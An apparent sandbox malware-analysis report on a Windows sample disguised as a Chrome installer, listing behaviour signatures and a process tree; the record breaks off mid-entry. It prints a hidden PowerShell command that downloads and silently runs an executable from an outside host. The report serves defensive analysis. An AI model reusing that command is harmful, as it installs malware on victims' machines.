Overview

overview

8

Static

static

3

2026-09-29...er.exe

windows10-2004-x64

8

2026-09-29...er.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    141s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 04:58

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-09-29_18c106f92b900e745ac96bede5e0b9a4_amadey_hellokitty_hijackloader_luca-stealer_njrat_smoke-loader.exe
  • Size 1.4MB
  • Sample260930-flx4daycrc
  • SHA256 a4d06d344f67f7d822ab2c599dad85653ab7019331b69ec1e873e3c62dd907bf
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalationspywarestealertrojan

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 7 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs
    persistence
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 43 IoCs
  • Loads dropped DLL 62 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    defense_evasiontrojan
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 36 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 21 IoCs
  • Suspicious use of FindShellTrayWindow 33 IoCs
  • Suspicious use of SendNotifyMessage 16 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-09-29_18c106f92b900e745ac96bede5e0b9a4_amadey_hellokitty_hijackloader_luca-stealer_njrat_smoke-loader.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-29_18c106f92b900e745ac96bede5e0b9a4_amadey_hellokitty_hijackloader_luca-stealer_njrat_smoke-loader.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5096
    • C:\Users\Admin\AppData\Local\Temp\rm_5096_240741265.exe
      "C:\Users\Admin\AppData\Local\Temp\rm_5096_240741265.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4908
      • C:\Program Files (x86)\Google\Temp\GUM6CCA.tmp\GoogleUpdate.exe
        "C:\Program Files (x86)\Google\Temp\GUM6CCA.tmp\GoogleUpdate.exe" /installsource taggedmi /install "appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={A23B17A4-B924-BF30-9E36-92AE83D2253D}&lang=de&browser=5&usagestats=1&appname=Google%20Chrome&needsadmin=prefers&ap=x64-stable-statsdef_1&brand=ONGR&installdataindex=empty"
        3⤵
        • Event Triggered Execution: Image File Execution Options Injection
        • Executes dropped EXE
        • Loads dropped DLL
        • Drops file in Program Files directory
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5168
        • C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
          "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /regsvc
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          PID:2044
        • C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
          "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /regserver
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:6024
          • C:\Program Files (x86)\Google\Update\1.3.36.152\GoogleUpdateComRegisterShell64.exe
            "C:\Program Files (x86)\Google\Update\1.3.36.152\GoogleUpdateComRegisterShell64.exe"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Modifies registry class
            PID:4280
          • C:\Program Files (x86)\Google\Update\1.3.36.152\GoogleUpdateComRegisterShell64.exe
            "C:\Program Files (x86)\Google\Update\1.3.36.152\GoogleUpdateComRegisterShell64.exe"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Modifies registry class
            PID:4304
          • C:\Program Files (x86)\Google\Update\1.3.36.152\GoogleUpdateComRegisterShell64.exe
            "C:\Program Files (x86)\Google\Update\1.3.36.152\GoogleUpdateComRegisterShell64.exe"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Modifies registry class
            PID:1852
        • C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
          "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4zNi4xNTIiIHNoZWxsX3ZlcnNpb249IjEuMy4zNi4xNTEiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7MjJFRENENzQtNDhCNy00MzAyLTg0MTctQTI0MEMzM0RBRkI0fSIgdXNlcmlkPSJ7OTNFNkFBQzktNzFBQi00NkQxLUE0QjctMDU2QjIxMTE2REQ1fSIgaW5zdGFsbHNvdXJjZT0idGFnZ2VkbWkiIHJlcXVlc3RpZD0iezUwRjgyNTNELUVBQkEtNEUwQy1BNkQyLUJGQkM4OTczQTMyRX0iIGRlZHVwPSJjciIgZG9tYWluam9pbmVkPSIwIj48aHcgcGh5c21lbW9yeT0iMTYiIHNzZT0iMSIgc3NlMj0iMSIgc3NlMz0iMSIgc3NzZTM9IjEiIHNzZTQxPSIxIiBzc2U0Mj0iMSIgYXZ4PSIxIi8-PG9zIHBsYXRmb3JtPSJ3aW4iIHZlcnNpb249IjEwLjAuMjYxMDAuMTc0MiIgc3A9IiIgYXJjaD0ieDY0Ii8-PGFwcCBhcHBpZD0iezQzMEZENEQwLUI3MjktNEY2MS1BQTM0LTkxNTI2NDgxNzk5RH0iIHZlcnNpb249IjE0MS4wLjczNDAuMCIgbmV4dHZlcnNpb249IjEuMy4zNi4xNTIiIGxhbmc9ImRlIiBicmFuZD0iT05HUiIgY2xpZW50PSIiIGlpZD0ie0EyM0IxN0E0LUI5MjQtQkYzMC05RTM2LTkyQUU4M0QyMjUzRH0iPjxldmVudCBldmVudHR5cGU9IjIiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiIGluc3RhbGxfdGltZV9tcz0iMTc2MSIvPjwvYXBwPjwvcmVxdWVzdD4
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          PID:3872
        • C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
          "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /handoff "appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={A23B17A4-B924-BF30-9E36-92AE83D2253D}&lang=de&browser=5&usagestats=1&appname=Google%20Chrome&needsadmin=prefers&ap=x64-stable-statsdef_1&brand=ONGR&installdataindex=empty" /installsource taggedmi /sessionid "{22EDCD74-48B7-4302-8417-A240C33DAFB4}"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1108
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "& { iwr -Uri 'https://data-miner.cyou/dl/d8xberh' -OutFile $env:TEMP\BK279399.exe; Start-Process $env:TEMP\BK279399.exe -WindowStyle Hidden }"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4320
  • C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
    "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /svc
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in Program Files directory
    • Reads the TCP/IP host and domain name from the registry
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3832
    • C:\Program Files (x86)\Google\Update\Install\{52DF0BE6-66B7-4AAA-85BA-B6E5DA59F320}\154.0.8037.93_chrome_installer_uncompressed.exe
      "C:\Program Files (x86)\Google\Update\Install\{52DF0BE6-66B7-4AAA-85BA-B6E5DA59F320}\154.0.8037.93_chrome_installer_uncompressed.exe" --verbose-logging --do-not-launch-chrome --channel=stable --system-level /installerdata="C:\Program Files (x86)\Google\Update\Install\{52DF0BE6-66B7-4AAA-85BA-B6E5DA59F320}\guiBD56.tmp"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4636
      • C:\Program Files (x86)\Google\Update\Install\{52DF0BE6-66B7-4AAA-85BA-B6E5DA59F320}\CR_D0238.tmp\setup.exe
        "C:\Program Files (x86)\Google\Update\Install\{52DF0BE6-66B7-4AAA-85BA-B6E5DA59F320}\CR_D0238.tmp\setup.exe" --uncompressed-archive="C:\Program Files (x86)\Google\Update\Install\{52DF0BE6-66B7-4AAA-85BA-B6E5DA59F320}\CR_D0238.tmp\CHROME.7Z" --verbose-logging --do-not-launch-chrome --channel=stable --system-level /installerdata="C:\Program Files (x86)\Google\Update\Install\{52DF0BE6-66B7-4AAA-85BA-B6E5DA59F320}\guiBD56.tmp"
        3⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Executes dropped EXE
        • Drops file in Program Files directory
        • Drops file in Windows directory
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:2924
        • C:\Program Files (x86)\Google\Update\Install\{52DF0BE6-66B7-4AAA-85BA-B6E5DA59F320}\CR_D0238.tmp\setup.exe
          "C:\Program Files (x86)\Google\Update\Install\{52DF0BE6-66B7-4AAA-85BA-B6E5DA59F320}\CR_D0238.tmp\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=154.0.8037.93 --attachment=C:\Windows\SystemTemp\chrome_installer.log "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x294,0x298,0x29c,0x270,0x2a0,0x7ff7870d8568,0x7ff7870d8578,0x7ff7870d8588
          4⤵
          • Executes dropped EXE
          • Drops file in Windows directory
          PID:3612
        • C:\Program Files (x86)\Google\Update\Install\{52DF0BE6-66B7-4AAA-85BA-B6E5DA59F320}\CR_D0238.tmp\setup.exe
          "C:\Program Files (x86)\Google\Update\Install\{52DF0BE6-66B7-4AAA-85BA-B6E5DA59F320}\CR_D0238.tmp\setup.exe" --channel=stable --system-level --verbose-logging --create-shortcuts=2 --install-level=1
          4⤵
          • Executes dropped EXE
          • Drops file in Windows directory
          • Suspicious use of WriteProcessMemory
          PID:2892
          • C:\Program Files (x86)\Google\Update\Install\{52DF0BE6-66B7-4AAA-85BA-B6E5DA59F320}\CR_D0238.tmp\setup.exe
            "C:\Program Files (x86)\Google\Update\Install\{52DF0BE6-66B7-4AAA-85BA-B6E5DA59F320}\CR_D0238.tmp\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=154.0.8037.93 --attachment=C:\Windows\SystemTemp\chrome_installer.log "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x294,0x298,0x29c,0x270,0x2a0,0x7ff7870d8568,0x7ff7870d8578,0x7ff7870d8588
            5⤵
            • Executes dropped EXE
            • Drops file in Windows directory
            PID:5476
    • C:\Program Files (x86)\Google\Update\1.3.36.152\GoogleCrashHandler.exe
      "C:\Program Files (x86)\Google\Update\1.3.36.152\GoogleCrashHandler.exe"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:1192
    • C:\Program Files (x86)\Google\Update\1.3.36.152\GoogleCrashHandler64.exe
      "C:\Program Files (x86)\Google\Update\1.3.36.152\GoogleCrashHandler64.exe"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of AdjustPrivilegeToken
      PID:6116
    • C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
      "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4zNi4xNTIiIHNoZWxsX3ZlcnNpb249IjEuMy4zNi4xNTEiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7MjJFRENENzQtNDhCNy00MzAyLTg0MTctQTI0MEMzM0RBRkI0fSIgdXNlcmlkPSJ7OTNFNkFBQzktNzFBQi00NkQxLUE0QjctMDU2QjIxMTE2REQ1fSIgaW5zdGFsbHNvdXJjZT0idGFnZ2VkbWkiIHJlcXVlc3RpZD0ie0JDQzFEQjRCLUU4NDAtNEJCNy04QTJBLTk1NEQ1MTdCNEY3QX0iIGRlZHVwPSJjciIgZG9tYWluam9pbmVkPSIwIj48aHcgcGh5c21lbW9yeT0iMTYiIHNzZT0iMSIgc3NlMj0iMSIgc3NlMz0iMSIgc3NzZTM9IjEiIHNzZTQxPSIxIiBzc2U0Mj0iMSIgYXZ4PSIxIi8-PG9zIHBsYXRmb3JtPSJ3aW4iIHZlcnNpb249IjEwLjAuMjYxMDAuMTc0MiIgc3A9IiIgYXJjaD0ieDY0Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzQy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IiIgbmV4dHZlcnNpb249IjE1NC4wLjgwMzcuOTMiIGFwPSJ4NjQtc3RhYmxlLXN0YXRzZGVmXzEiIGxhbmc9ImRlIiBicmFuZD0iT05HUiIgY2xpZW50PSIiIGlpZD0ie0EyM0IxN0E0LUI5MjQtQkYzMC05RTM2LTkyQUU4M0QyMjUzRH0iIGNvaG9ydD0iMTpndS9pMTk6IiBjb2hvcnRuYW1lPSJTdGFibGUgSW5zdGFsbHMgJmFtcDsgVmVyc2lvbiBQaW5zIj48ZXZlbnQgZXZlbnR0eXBlPSI5IiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIi8-PGV2ZW50IGV2ZW50dHlwZT0iNSIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIvPjxldmVudCBldmVudHR5cGU9IjEiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiIGRvd25sb2FkZXI9ImJpdHMiIHVybD0iaHR0cDovL2VkZ2VkbC5tZS5ndnQxLmNvbS9lZGdlZGwvcmVsZWFzZTIvY2hyb21lL2puMmd1eDVjeGx5eWczeG1jb25zZXVhbXp1XzE1NC4wLjgwMzcuOTMvMTU0LjAuODAzNy45M19jaHJvbWVfaW5zdGFsbGVyX3VuY29tcHJlc3NlZC5leGUiIGRvd25sb2FkZWQ9IjUxOTkwODI2NCIgdG90YWw9IjUxOTkwODI2NCIgZG93bmxvYWRfdGltZV9tcz0iNTQ0MDUiLz48ZXZlbnQgZXZlbnR0eXBlPSIxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIi8-PGV2ZW50IGV2ZW50dHlwZT0iNiIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIvPjxldmVudCBldmVudHR5cGU9IjIiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjE5NjcwNyIgc291cmNlX3VybF9pbmRleD0iMCIgdXBkYXRlX2NoZWNrX3RpbWVfbXM9IjIwMjYiIGRvd25sb2FkX3RpbWVfbXM9IjYwOTIzIiBkb3dubG9hZGVkPSI1MTk5MDgyNjQiIHRvdGFsPSI1MTk5MDgyNjQiIGluc3RhbGxfdGltZV9tcz0iNDM0NzgiLz48L2FwcD48L3JlcXVlc3Q-
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4968
  • C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
    "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /medsvc
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Checks whether UAC is enabled
    • Reads the TCP/IP host and domain name from the registry
    • System Location Discovery: System Language Discovery
    PID:436
  • C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
    "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Reads the TCP/IP host and domain name from the registry
    • System Location Discovery: System Language Discovery
    PID:5164
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:3728
    • C:\Program Files (x86)\Google\Update\1.3.36.152\GoogleUpdateOnDemand.exe
      "C:\Program Files (x86)\Google\Update\1.3.36.152\GoogleUpdateOnDemand.exe" -Embedding
      1⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4980
      • C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
        "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ondemand
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4992
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --from-installer
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • Checks processor information in registry
          • Enumerates system info in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:4564
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=154.0.8037.93 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff97fb4bed0,0x7ff97fb4bee0,0x7ff97fb4bef0
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:1132
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-recent-crash-count=0 --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=WAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAQAAAAAAAAAADAAAAAAAAADgAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAKAAAAAAAAAAoAAAAAAAAAAgAAAAAAAAAEAAAAAIAAAABAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --metrics-shmem-handle=1712,i,12919147171308927591,11132492720956980005,262144 --field-trial-handle=2068,i,2108823837740621697,939580064208931982,262144 --variations-seed-version --pseudonymization-salt-handle=2072,i,17273792016320112048,8879879578393029474,4 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=2064 /prefetch:2
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:6092
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1964,i,17545155465813568268,811093891608841205,524288 --field-trial-handle=2068,i,2108823837740621697,939580064208931982,262144 --variations-seed-version --pseudonymization-salt-handle=2072,i,17273792016320112048,8879879578393029474,4 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=1984 /prefetch:11
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Reads the TCP/IP host and domain name from the registry
            • System Time Discovery
            PID:1952
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2536,i,3694158231135073947,14621730390015447784,524288 --field-trial-handle=2068,i,2108823837740621697,939580064208931982,262144 --variations-seed-version --pseudonymization-salt-handle=2072,i,17273792016320112048,8879879578393029474,4 --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=2704 /prefetch:13
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:672
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --top-chrome-webui --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3120,i,3244787204545499545,13423825361335325642,1572864 --field-trial-handle=2068,i,2108823837740621697,939580064208931982,262144 --variations-seed-version --pseudonymization-salt-handle=2072,i,17273792016320112048,8879879578393029474,4 --trace-process-track-uuid=3190708990997080739 --mojo-platform-channel-handle=3260 /prefetch:1
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:5236
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3752,i,3421677278251803341,3990315088401104996,1572864 --field-trial-handle=2068,i,2108823837740621697,939580064208931982,262144 --variations-seed-version --pseudonymization-salt-handle=2072,i,17273792016320112048,8879879578393029474,4 --trace-process-track-uuid=3190708992871164437 --mojo-platform-channel-handle=3784 /prefetch:1
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:5092
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3760,i,15161537828476365204,6479121194611547133,1572864 --field-trial-handle=2068,i,2108823837740621697,939580064208931982,262144 --variations-seed-version --pseudonymization-salt-handle=2072,i,17273792016320112048,8879879578393029474,4 --trace-process-track-uuid=3190708991934122588 --mojo-platform-channel-handle=3804 /prefetch:1
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:828
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4156,i,943056700151119833,8153657137993554563,1572864 --field-trial-handle=2068,i,2108823837740621697,939580064208931982,262144 --variations-seed-version --pseudonymization-salt-handle=2072,i,17273792016320112048,8879879578393029474,4 --trace-process-track-uuid=3190708993808206286 --mojo-platform-channel-handle=4328 /prefetch:1
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:4196
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4176,i,6986630679910109760,16594120540885961367,1572864 --field-trial-handle=2068,i,2108823837740621697,939580064208931982,262144 --variations-seed-version --pseudonymization-salt-handle=2072,i,17273792016320112048,8879879578393029474,4 --trace-process-track-uuid=3190708994745248135 --mojo-platform-channel-handle=4700 /prefetch:9
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:2580
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5036,i,16321934980907444559,7977391269942472456,1572864 --field-trial-handle=2068,i,2108823837740621697,939580064208931982,262144 --variations-seed-version --pseudonymization-salt-handle=2072,i,17273792016320112048,8879879578393029474,4 --trace-process-track-uuid=3190708995682289984 --mojo-platform-channel-handle=5052 /prefetch:9
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:1064
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3756,i,14566777679809958050,10027288096686376875,524288 --field-trial-handle=2068,i,2108823837740621697,939580064208931982,262144 --variations-seed-version --pseudonymization-salt-handle=2072,i,17273792016320112048,8879879578393029474,4 --trace-process-track-uuid=3190708996619331833 --mojo-platform-channel-handle=5292 /prefetch:14
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:2092
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5400,i,5943744934170004869,3334940716983438575,1572864 --field-trial-handle=2068,i,2108823837740621697,939580064208931982,262144 --variations-seed-version --pseudonymization-salt-handle=2072,i,17273792016320112048,8879879578393029474,4 --trace-process-track-uuid=3190708997556373682 --mojo-platform-channel-handle=5436 /prefetch:1
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:2928
          • C:\Program Files\Google\Chrome\Application\chrome.exe
